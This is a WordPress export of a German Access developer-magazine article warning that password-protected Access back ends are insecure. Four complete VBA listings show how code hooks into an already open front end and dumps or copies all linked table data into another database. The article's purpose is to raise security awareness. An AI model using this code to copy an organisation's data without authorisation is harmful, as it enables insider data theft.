{"id":55001565,"date":"2025-10-01T00:00:00","date_gmt":"2025-08-28T16:33:33","guid":{"rendered":"http:\/\/access-im-unternehmen.aix-dev.de\/aiu\/?p=1565"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"Einfacher_Datenklau_durch_mangelnde_Sicherheit","status":"publish","type":"post","link":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/","title":{"rendered":"Einfacher Datenklau durch mangelnde Sicherheit"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/vg01.met.vgwort.de\/na\/87f1c814c641429f9a3ad3aa41a2aa54\" width=\"1\" height=\"1\" alt=\"\"><b>Wir haben in den letzten Wochen einige Datenbanken von Kunden untersucht und erhebliche M&auml;ngel bei der Sicherheit der Daten festgestellt. Prim&auml;r haben wir uns angeschaut, ob ein Mitarbeiter ohne Weiteres auf die in der Datenbank gespeicherten Daten zugreifen kann. In den meisten F&auml;llen konnte er sich einfach die Backend-Datenbank kopieren und so in den Besitz wichtiger Daten des Unternehmens gelangen. Oft war zumindest das Backend durch ein Kennwort gesch&uuml;tzt, sodass man nur &uuml;ber das Frontend auf die Daten zugreifen kann. Ob das sicher ist, schauen wir uns im vorliegenden Beitrag an. Um es vorwegzunehmen: Es ist nicht sicher.<\/b><\/p>\n<h2>Tr&uuml;gerische Sicherheit? Noch nicht einmal das.<\/h2>\n<p>In einer Aktion, bei der wir uns die Datenbanken von Kunden angesehen haben, sind gravierende Sicherheitsm&auml;ngel aufgetaucht:<\/p>\n<ul>\n<li>Oft waren die Daten im Backend v&ouml;llig ungesichert. Da die Benutzer schreibenden Zugriff auf die Backend-Datenbank ben&ouml;tigen, k&ouml;nnen sie theoretisch leicht die Backend-Datenbank kopieren und auf einen USB-Stick ziehen.<\/li>\n<li>Teilweise haben wir zumindest per Kennwort gesch&uuml;tzte Backenddatenbanken vorgefunden. Die Verkn&uuml;pfung zu den Tabellen im Backend enthielt dann jedoch das Kennwort in den Verkn&uuml;pfungseigenschaften, was sich ebenfalls leicht auslesen l&auml;sst.<\/li>\n<li>In den meisten F&auml;llen konnte der Benutzer &uuml;ber den Navigationsbereich direkt auf die verkn&uuml;pften Tabellen zugreifen. Der Manipulation von Daten wie etwa geleistete Arbeitsstunden oder dem Gehalt sind so leicht m&ouml;glich, wenn die entsprechenden Tabellen vorliegen.<\/li>\n<\/ul>\n<p>Aber selbst wenn der Entwickler die Anwendung so weit gesch&uuml;tzt hat, dass der Benutzer nicht auf die eingebundenen Tabellen zugreifen kann, lassen sich alle Daten von au&szlig;en leicht auslesen. In diesem Beitrag zeigen wir, wie das funktioniert. Voraussetzung daf&uuml;r ist, dass der Benutzer die Frontend-Datenbank ge&ouml;ffnet hat.<\/p>\n<h2>Daten auslesen per VBA<\/h2>\n<p>Wir legen dazu in einer neuen Datenbank die Prozedur aus Listing 1 an. Die Vorbedingung f&uuml;r ihre Funktion ist:<\/p>\n<pre><span style=\"color:blue;\">Public Sub <\/span>DatenbankAuslesen()\r\n     <span style=\"color:blue;\">Dim <\/span>db<span style=\"color:blue;\"> As <\/span>DAO.Database\r\n     <span style=\"color:blue;\">Dim <\/span>tdf<span style=\"color:blue;\"> As <\/span>DAO.TableDef\r\n     <span style=\"color:blue;\">Dim <\/span>rst<span style=\"color:blue;\"> As <\/span>DAO.Recordset\r\n     <span style=\"color:blue;\">Dim <\/span>objAccess<span style=\"color:blue;\"> As <\/span>Access.Application\r\n     <span style=\"color:blue;\">Dim <\/span>fld<span style=\"color:blue;\"> As <\/span>DAO.Field\r\n     <span style=\"color:blue;\">Set<\/span> objAccess = GetObject(, \"Access.Application\")\r\n     <span style=\"color:blue;\">Set<\/span> db = objAccess.CurrentDb\r\n     For Each tdf In db.TableDefs\r\n         <span style=\"color:blue;\">If <\/span><span style=\"color:blue;\">Not<\/span> <span style=\"color:blue;\">Len<\/span>(tdf.Connect) = 0<span style=\"color:blue;\"> Then<\/span>\r\n             <span style=\"color:blue;\">Debug.Print<\/span> tdf.Name\r\n             <span style=\"color:blue;\">Set<\/span> rst = db.OpenRecordset(\"SELECT * FROM \" & tdf.Name, dbOpenDynaset)\r\n             <span style=\"color:blue;\">Do While<\/span> <span style=\"color:blue;\">Not<\/span> rst.EOF\r\n                 For Each fld In rst.Fields\r\n                     <span style=\"color:blue;\">Debug.Print<\/span> fld.Name; \": \",\r\n                     On Error Resume <span style=\"color:blue;\">Next<\/span>\r\n                     <span style=\"color:blue;\">Debug.Print<\/span> fld.Value,\r\n                     <span style=\"color:blue;\">On Error GoTo<\/span> 0\r\n                 <span style=\"color:blue;\">Next<\/span> fld\r\n                 <span style=\"color:blue;\">Debug.Print<\/span>\r\n                 rst.Move<span style=\"color:blue;\">Next<\/span>\r\n             <span style=\"color:blue;\">Loop<\/span>\r\n         <span style=\"color:blue;\">End If<\/span>\r\n     <span style=\"color:blue;\">Next<\/span> tdf\r\n<span style=\"color:blue;\">End Sub<\/span><\/pre>\n<p><b><span style=\"color:darkgrey;\">Listing 1: Auslesen der Inhalte der Tabellen einer anderen ge&ouml;ffneten Access-Datenbank<\/span><\/b><\/p>\n<ul>\n<li>Die auszulesende Datenbank ist bereits ge&ouml;ffnet.<\/li>\n<li>Die auslesende Datenbank mit unserer VBA-Prozedur wird erst danach ge&ouml;ffnet.<\/li>\n<\/ul>\n<p>In der Prozedur erstellen wir ein Objekt des Typs <b>Access.Application <\/b>auf Basis des Aufrufs <b>GetObject(, &#8222;Access.Application&#8220;)<\/b>. Unter den oben angef&uuml;hrten Voraussetzungen sollten wir damit einen Verweis auf die zu untersuchende Datenbank erhalten.<\/p>\n<p>Danach weisen wir der Variablen <b>db <\/b>einen Verweis auf das <b>Database<\/b>-Objekt dieser Datenbank zu und durchlaufen die enthaltenen Tabellen. F&uuml;r alle Tabellen, deren Eigenschaft <b>Connect <\/b>einen Wert enth&auml;lt und die wir so als Tabellenverkn&uuml;pfung identifizieren k&ouml;nnen, geben wir zun&auml;chst den Namen aus.<\/p>\n<p>Danach erstellen wir ein Recordset auf Basis der aktuellen Tabelle und durchlaufen die enthaltenen Datens&auml;tze. Dabei geben wir jeweils den Namen und den Inhalt der Felder aus. Wir verwenden noch eine Fehlerbehandlung, wenn sich der Inhalt nicht direkt ausgeben l&auml;sst &#8211; zum Beispiel f&uuml;r Felder des Typs <b>OLE-Objekt<\/b>.<\/p>\n<p>Wir k&ouml;nnen so sehr einfach alle Daten der verkn&uuml;pften Tabellen im zu untersuchenden Frontend ausgeben.<\/p>\n<p>Das dient nur Beispielzwecken &#8211; wenn wir die Daten sichern und beispielsweise in einer eigenen Datei speichern und diese mitnehmen wollten, w&auml;re auch das einfach m&ouml;glich.<\/p>\n<p>Wir k&ouml;nnten einfach das Datenmodell nachbauen, in dem wir dieses auslesen und in einer neuen Datenbank reproduzieren. Dann k&ouml;nnen wir Tabelle f&uuml;r Tabelle und Datensatz f&uuml;r Datensatz die gew&uuml;nschten Informationen in die Zieltabelle &uuml;bertragen.<\/p>\n<h2>&Uuml;bertragen der Tabellen der ge&ouml;ffneten Datenbank in die Zieldatenbank<\/h2>\n<p>Zum &Uuml;bertragen des kompletten Inhalts einer Datenbank bedarf es gar nicht viel. Wir haben diese Funktion auf drei Routinen aufgeteilt:<\/p>\n<ul>\n<li>Die erste hei&szlig;t <b>TabellenUebertragen <\/b>und ermittelt einen Verweis auf das Database-Objekt der Datenbank mit den zu &uuml;bertragenden Tabellen und durchl&auml;uft die <b>TableDef<\/b>-Objekte.<\/li>\n<li>Dabei ruft sie f&uuml;r jede Tabelle die zweite Routine namens <b>TabelleNachbauen <\/b>auf. Diese kopiert die Tabellen und die enthaltenen Felder St&uuml;ck f&uuml;r St&uuml;ck.<\/li>\n<li>Die dritte Prozedur <b>DatenKopieren <\/b>&uuml;bertr&auml;gt schlie&szlig;lich die Daten der Felder der Quelltabelle in die Zieltabelle.<\/li>\n<\/ul>\n<h2>Die Prozedur TabellenUebertragen<\/h2>\n<p>Die erste Prozedur verwendet die bereits bekannte Technik, um einen Verweis auf das <b>Database<\/b>-Objekt der ge&ouml;ffneten und auszulesenden Datenbank zu erhalten. Au&szlig;erdem f&uuml;llt sie eine weitere <b>Database<\/b>-Variable mit einem Verweis auf die eigene Datenbank (siehe Listing 2).<\/p>\n<pre><span style=\"color:blue;\">Public Sub <\/span>TabellenUebertragen()\r\n     <span style=\"color:blue;\">Dim <\/span>objAccess<span style=\"color:blue;\"> As <\/span>Access.Application\r\n     <span style=\"color:blue;\">Dim <\/span>dbSource<span style=\"color:blue;\"> As <\/span>DAO.Database\r\n     <span style=\"color:blue;\">Dim <\/span>dbTarget<span style=\"color:blue;\"> As <\/span>DAO.Database\r\n     <span style=\"color:blue;\">Dim <\/span>strSource<span style=\"color:blue;\"> As String<\/span>\r\n     <span style=\"color:blue;\">Dim <\/span>strSQL<span style=\"color:blue;\"> As String<\/span>\r\n     <span style=\"color:blue;\">Dim <\/span>tdfSource<span style=\"color:blue;\"> As <\/span>DAO.TableDef\r\n     <span style=\"color:blue;\">Dim <\/span>tdfTarget<span style=\"color:blue;\"> As <\/span>DAO.TableDef\r\n     \r\n     <span style=\"color:blue;\">Set<\/span> objAccess = GetObject(, \"Access.Application\")\r\n     <span style=\"color:blue;\">Set<\/span> dbSource = objAccess.CurrentDb\r\n     <span style=\"color:blue;\">Set<\/span> dbTarget = CurrentDb\r\n     <span style=\"color:blue;\">Set<\/span> dbSource = objAccess.CurrentDb\r\n     strSource = dbSource.Name\r\n     <span style=\"color:blue;\">Debug.Print<\/span> strSource\r\n     \r\n     For Each tdfSource In dbSource.TableDefs\r\n         Select Case <span style=\"color:blue;\">True<\/span>\r\n             <span style=\"color:blue;\">Case <\/span><span style=\"color:blue;\">Left<\/span>(tdfSource.Name, 4) = \"MSys\"\r\n             <span style=\"color:blue;\">Case Else<\/span>\r\n                 <span style=\"color:blue;\">Set<\/span> tdfTarget = TabelleNachbauen(dbTarget, tdfSource)\r\n                 DatenKopieren dbSource, dbTarget, tdfSource.Name, tdfTarget.Name\r\n         <span style=\"color:blue;\">End Select<\/span>\r\n     <span style=\"color:blue;\">Next<\/span> tdfSource\r\n     \r\n     Application.RefreshDatabaseWindow\r\n<span style=\"color:blue;\">End Sub<\/span><\/pre>\n<p><b><span style=\"color:darkgrey;\">Listing 2: Hauptprozedur zum Einlesen der Daten der aktuellen Datenbank<\/span><\/b><\/p>\n<p>Dann durchl&auml;uft sie alle <b>TableDef<\/b>-Objekte der Quelldatenbank und pr&uuml;ft bestimmte Eigenschaften des Tabellennamens. Wenn dieser mit <b>MSys <\/b>beginnt, wird die Tabelle nicht ber&uuml;cksichtigt. Hier k&ouml;nnen Sie noch weitere Ausnahmen hinzuf&uuml;gen. F&uuml;r alle anderen Tabellen ruft die Prozedur die beiden Routinen <b>TabelleNachbauen <\/b>und <b>Datenkopieren <\/b>auf. Dabei &uuml;bergibt sie im ersten Fall einen Verweis auf die Zieldatenbank und auf das zu kopierende <b>TableDef<\/b>-Objekt. Im zweiten Fall &uuml;bergibt sie Verweise auf Quell- und Ziel-<b>Database<\/b>-Objekt und den Namen der zu &uuml;bertragenden Tabelle.<\/p>\n<p>Danach aktualisiert sie noch das Datenbankfenster, damit die zur Zieldatenbank hinzugef&uuml;gten Tabellen direkt angezeigt werden k&ouml;nnen.<\/p>\n<h2>Die Funktion TabelleNachbauen<\/h2>\n<p>Diese Funktion nimmt den Verweis auf die Zieldatenbank sowie das <b>TableDef<\/b>-Objekt der zu kopierenden Tabelle aus der Quelldatenbank entgegen. Sie l&ouml;scht zun&auml;chst bei deaktivierter Fehlerbehandlung eine gegebenenfalls bereits vorhandene Tabelle mit dem gleichen Namen wie die zu erstellende Tabelle (siehe Listing 3).<\/p>\n<pre><span style=\"color:blue;\">Public Function <\/span>TabelleNachbauen(db<span style=\"color:blue;\"> As <\/span>DAO.Database, tdfSource<span style=\"color:blue;\"> As <\/span>DAO.TableDef)<span style=\"color:blue;\"> As <\/span>DAO.TableDef\r\n     <span style=\"color:blue;\">Dim <\/span>fldSource<span style=\"color:blue;\"> As <\/span>DAO.Field\r\n     <span style=\"color:blue;\">Dim <\/span>fldTarget<span style=\"color:blue;\"> As <\/span>DAO.Field\r\n     <span style=\"color:blue;\">Dim <\/span>tdfTarget<span style=\"color:blue;\"> As <\/span>DAO.TableDef\r\n     \r\n     On Error Resume <span style=\"color:blue;\">Next<\/span>\r\n     db.TableDefs.Delete tdfSource.Name\r\n     <span style=\"color:blue;\">On Error GoTo<\/span> 0\r\n     \r\n     <span style=\"color:blue;\">Set<\/span> tdfTarget = db.CreateTableDef(tdfSource.Name)\r\n         \r\n     For Each fldSource In tdfSource.Fields\r\n         <span style=\"color:blue;\">Set<\/span> fldTarget = tdfTarget.CreateField(fldSource.Name, fldSource.Type, fldSource.Size)\r\n         <span style=\"color:blue;\">If <\/span>fldTarget.Type = dbText<span style=\"color:blue;\"> Then<\/span>\r\n             fldTarget.AllowZeroLength = <span style=\"color:blue;\">True<\/span>\r\n         <span style=\"color:blue;\">End If<\/span>\r\n         tdfTarget.Fields.Append fldTarget\r\n     <span style=\"color:blue;\">Next<\/span> fldSource\r\n     \r\n     db.TableDefs.Append tdfTarget\r\n     \r\n     <span style=\"color:blue;\">Set<\/span> TabelleNachbauen = tdfTarget\r\n<span style=\"color:blue;\">End Function<\/span><\/pre>\n<p><b><span style=\"color:darkgrey;\">Listing 3: Funktion zum Reproduzieren der Tabellen und Felder<\/span><\/b><\/p>\n<p>Danach erstellt sie mit der <b>CreateTableDef<\/b>-Methode ein neues <b>TableDef<\/b>-Objekt mit dem Namen der Quelltabelle und referenziert dieses mit der Variablen <b>tdfTarget<\/b>.<\/p>\n<p>Dann durchl&auml;uft sie alle Elemente der <b>Fields<\/b>-Auflistung der Quelltabelle. In der entsprechenden <b>For Each<\/b>-Schleife  erstellt sie mit der <b>CreateField<\/b>-Methode des Ziel-<b>TableDef<\/b>-Objekts jeweils ein neues Feld auf Basis des Originalfeldes und &uuml;bernimmt dabei den Feldnamen, den Felddatentyp und die Feldgr&ouml;&szlig;e.<\/p>\n<p>Da bei dieser Art des Anlegens f&uuml;r Textfelder die Eigenschaft Leere Zeichenfolge automatisch auf Nein eingestellt wird, korrigieren wir dies noch, indem wir per VBA die Eigenschaft <b>AllowZeroLength <\/b>auf den Wert <b>True <\/b>einstellen.<\/p>\n<p>Das so erstellte Feld h&auml;ngen wir anschlie&szlig;end mit der Append-Methode an die <b>Fields<\/b>-Auflistung der Zieltabelle an.<\/p>\n<p>Die Funktion gibt schlie&szlig;lich einen Verweis auf das neu erstellte <b>TableDef<\/b>-Objekt an die aufrufende Prozedur zur&uuml;ck.<\/p>\n<h2>&Uuml;bertragen der Daten <\/h2>\n<p>Schlie&szlig;lich nutzen wir die Prozedur <b>DatenKopieren<\/b>, um die in den Tabellen enthaltenen Daten in die Zieldatenbank zu &uuml;bertragen. Die Prozedur nimmt <b>Database<\/b>-Objekte f&uuml;r die Quell- und die Zieldatenbank entgegen sowie den Namen der Quelltabelle, der mit dem der Zieltabelle identisch ist (siehe Listing 4).<\/p>\n<pre><span style=\"color:blue;\">Public Sub <\/span>DatenKopieren(dbSource<span style=\"color:blue;\"> As <\/span>DAO.Database, dbTarget<span style=\"color:blue;\"> As <\/span>DAO.Database, strSource<span style=\"color:blue;\"> As String<\/span>, strTarget<span style=\"color:blue;\"> As String<\/span>)\r\n     <span style=\"color:blue;\">Dim <\/span>rstSource<span style=\"color:blue;\"> As <\/span>DAO.Recordset\r\n     <span style=\"color:blue;\">Dim <\/span>rstTarget<span style=\"color:blue;\"> As <\/span>DAO.Recordset\r\n     <span style=\"color:blue;\">Dim <\/span>fld<span style=\"color:blue;\"> As <\/span>DAO.Field\r\n     <span style=\"color:blue;\">Set<\/span> rstSource = dbSource.OpenRecordset(\"SELECT * FROM \" & strSource, dbOpenDynaset)\r\n     <span style=\"color:blue;\">Set<\/span> rstTarget = dbTarget.OpenRecordset(\"SELECT * FROM \" & strTarget, dbOpenDynaset)\r\n     <span style=\"color:blue;\">Do While<\/span> <span style=\"color:blue;\">Not<\/span> rstSource.EOF\r\n         rstTarget.Add<span style=\"color:blue;\">New<\/span>\r\n         For Each fld In rstSource.Fields\r\n             Select Case fld.Type\r\n                 <span style=\"color:blue;\">Case <\/span>dbAttachment ''und weitere Spezialfelder\r\n                 <span style=\"color:blue;\">Case Else<\/span>\r\n                     rstTarget(fld.Name) = rstSource(fld.Name)\r\n             <span style=\"color:blue;\">End Select<\/span>\r\n         <span style=\"color:blue;\">Next<\/span> fld\r\n         rstTarget.Update\r\n         rstSource.Move<span style=\"color:blue;\">Next<\/span>\r\n     <span style=\"color:blue;\">Loop<\/span>\r\n<span style=\"color:blue;\">End Sub<\/span><\/pre>\n<p><b><span style=\"color:darkgrey;\">Listing 4: Prozedur zum Kopieren der enthaltenen Daten<\/span><\/b><\/p>\n<p>Die Prozedur erstellt zun&auml;chst ein Recordset auf Basis der Datens&auml;tze der Quelltabelle sowie eines f&uuml;r die Zieltabelle und speichert diese in den Variablen <b>rstSource <\/b>und <b>rstTarget<\/b>.<\/p>\n<p>Dann durchl&auml;uft sie in einer <b>Do While<\/b>-Schleife alle Datens&auml;tze der Quelltabelle. Dabei f&uuml;gt sie mit der <b>AddNew<\/b>-Methode jeweils einen neuen Datensatz in der Zieltabelle an. Innerhalb der Schleife durchl&auml;uft sie wiederum alle Felder der Quelltabelle in einer <b>For Each<\/b>-Schleife.<\/p>\n<p>So wird der Inhalt jedes einzelnen Feldes von der Quell-  in die Zieltabelle &uuml;bertragen. Dabei untersuchen wir noch den Felddatentyp des Feldes der Quelltabelle. F&uuml;r spezielle Datentypen wie dem Anlagefeld lassen wir das Kopieren an dieser Stelle aus, da wir hierzu noch einige weitere Zeilen programmieren m&uuml;ssten, die wir uns hier sparen wollen &#8211; es geht nur darum, die grundlegende Technik zu demonstrieren.<\/p>\n<p>Schlie&szlig;lich kopieren wir den Inhalt des aktuellen Feldes der Quelltabelle in das entsprechende Feld der Zieltabelle.<\/p>\n<p>Nach dem Durchlaufen aller Felder des aktuellen Datensatzes speichern wir den neu erstellten Datensatz und fahren mit dem n&auml;chsten Datensatz fort. Auf diese Weise kopieren wir Tabellen und die enthaltenen Daten in die Zieldatenbank.<\/p>\n<h2>Zusammenfassung und Ausblick<\/h2>\n<p>Die hier vorgestellten Techniken erlauben es, alle Daten der aktuell ge&ouml;ffneten Datenbank zu kopieren, auch wenn diese sich in einem kennwortgesch&uuml;tzten Backend befinden.<\/p>\n<p>Dies sollte all diejenigen, die sich keine Sorgen um ihre Daten machen, beunruhigen. Mitarbeiter k&ouml;nnen sich mit einfachen Mitteln alle Daten kopieren und diese mit nach Hause nehmen &#8211; oder diese sogar an die Konkurrenz geben oder anderweitig zum Schaden des Unternehmens nutzen.<\/p>\n<h2>Downloads zu diesem Beitrag<\/h2>\n<p>Enthaltene Beispieldateien:<\/p>\n<p>BE_Geschuetzt.accdb<\/p>\n<p>EinfacherDatenklauDurchMangelndeSicherheit.accdb<\/p>\n<p>FE_Geschuetzt.accdb<\/p>\n<p>kennwort.txt<\/p>\n<p><a href=\"..\/fileadmin\/beispiele\/C6792431-B27A-4160-A274-CF9F98E62D64\/aiu_1565.zip\">Download<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Wir haben in den letzten Wochen einige Datenbanken von Kunden untersucht und erhebliche M&auml;ngel bei der Sicherheit der Daten festgestellt. Prim&auml;r haben wir uns angeschaut, ob ein Mitarbeiter ohne Weiteres auf die in der Datenbank gespeicherten Daten zugreifen kann. In den meisten F&auml;llen konnte er sich einfach die Backend-Datenbank kopieren und so in den Besitz wichtiger Daten des Unternehmens gelangen. Oft war zumindest das Backend durch ein Kennwort gesch&uuml;tzt, sodass man nur &uuml;ber das Frontend auf die Daten zugreifen kann. Ob das sicher ist, schauen wir uns im vorliegenden Beitrag an. Um es vorwegzunehmen: Es ist nicht sicher.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[662025,66052025,44000038],"tags":[],"class_list":["post-55001565","post","type-post","status-publish","format-standard","hentry","category-662025","category-66052025","category-Sicherheit"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.9 (Yoast SEO v27.3) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Einfacher Datenklau durch mangelnde Sicherheit - Access im Unternehmen<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Einfacher Datenklau durch mangelnde Sicherheit\" \/>\n<meta property=\"og:description\" content=\"Wir haben in den letzten Wochen einige Datenbanken von Kunden untersucht und erhebliche M&auml;ngel bei der Sicherheit der Daten festgestellt. Prim&auml;r haben wir uns angeschaut, ob ein Mitarbeiter ohne Weiteres auf die in der Datenbank gespeicherten Daten zugreifen kann. In den meisten F&auml;llen konnte er sich einfach die Backend-Datenbank kopieren und so in den Besitz wichtiger Daten des Unternehmens gelangen. Oft war zumindest das Backend durch ein Kennwort gesch&uuml;tzt, sodass man nur &uuml;ber das Frontend auf die Daten zugreifen kann. Ob das sicher ist, schauen wir uns im vorliegenden Beitrag an. Um es vorwegzunehmen: Es ist nicht sicher.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/\" \/>\n<meta property=\"og:site_name\" content=\"Access im Unternehmen\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-28T16:33:33+00:00\" \/>\n<meta name=\"author\" content=\"Andr\u00e9 Minhorst\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"Andr\u00e9 Minhorst\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"9\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/\"},\"author\":{\"name\":\"Andr\u00e9 Minhorst\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#\\\/schema\\\/person\\\/13395c4bcd7d7963efe33be9c584d93f\"},\"headline\":\"Einfacher Datenklau durch mangelnde Sicherheit\",\"datePublished\":\"2025-08-28T16:33:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/\"},\"wordCount\":1429,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/vg01.met.vgwort.de\\\/na\\\/87f1c814c641429f9a3ad3aa41a2aa54\",\"articleSection\":[\"2025\",\"5\\\/2025\",\"Sicherheit\"],\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/\",\"url\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/\",\"name\":\"Einfacher Datenklau durch mangelnde Sicherheit - Access im Unternehmen\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/vg01.met.vgwort.de\\\/na\\\/87f1c814c641429f9a3ad3aa41a2aa54\",\"datePublished\":\"2025-08-28T16:33:33+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/#primaryimage\",\"url\":\"http:\\\/\\\/vg01.met.vgwort.de\\\/na\\\/87f1c814c641429f9a3ad3aa41a2aa54\",\"contentUrl\":\"http:\\\/\\\/vg01.met.vgwort.de\\\/na\\\/87f1c814c641429f9a3ad3aa41a2aa54\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/access-im-unternehmen.de\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Einfacher Datenklau durch mangelnde Sicherheit\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#website\",\"url\":\"https:\\\/\\\/access-im-unternehmen.de\\\/\",\"name\":\"Access im Unternehmen\",\"description\":\"Das Magazin f\u00fcr Datenbankentwickler auf Basis von Microsoft Access\",\"publisher\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/access-im-unternehmen.de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#organization\",\"name\":\"Andr\u00e9 Minhorst Verlag\",\"url\":\"https:\\\/\\\/access-im-unternehmen.de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/access-im-unternehmen.de\\\/wp-content\\\/uploads\\\/2019\\\/09\\\/aiu_wp.png\",\"contentUrl\":\"https:\\\/\\\/access-im-unternehmen.de\\\/wp-content\\\/uploads\\\/2019\\\/09\\\/aiu_wp.png\",\"width\":370,\"height\":111,\"caption\":\"Andr\u00e9 Minhorst Verlag\"},\"image\":{\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/access-im-unternehmen.de\\\/#\\\/schema\\\/person\\\/13395c4bcd7d7963efe33be9c584d93f\",\"name\":\"Andr\u00e9 Minhorst\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b9d010cf1716692cb9c34f21554e07d17d461acaea5b61b8cb21cbec678d48a?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b9d010cf1716692cb9c34f21554e07d17d461acaea5b61b8cb21cbec678d48a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b9d010cf1716692cb9c34f21554e07d17d461acaea5b61b8cb21cbec678d48a?s=96&d=mm&r=g\",\"caption\":\"Andr\u00e9 Minhorst\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Einfacher Datenklau durch mangelnde Sicherheit - Access im Unternehmen","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/","og_locale":"de_DE","og_type":"article","og_title":"Einfacher Datenklau durch mangelnde Sicherheit","og_description":"Wir haben in den letzten Wochen einige Datenbanken von Kunden 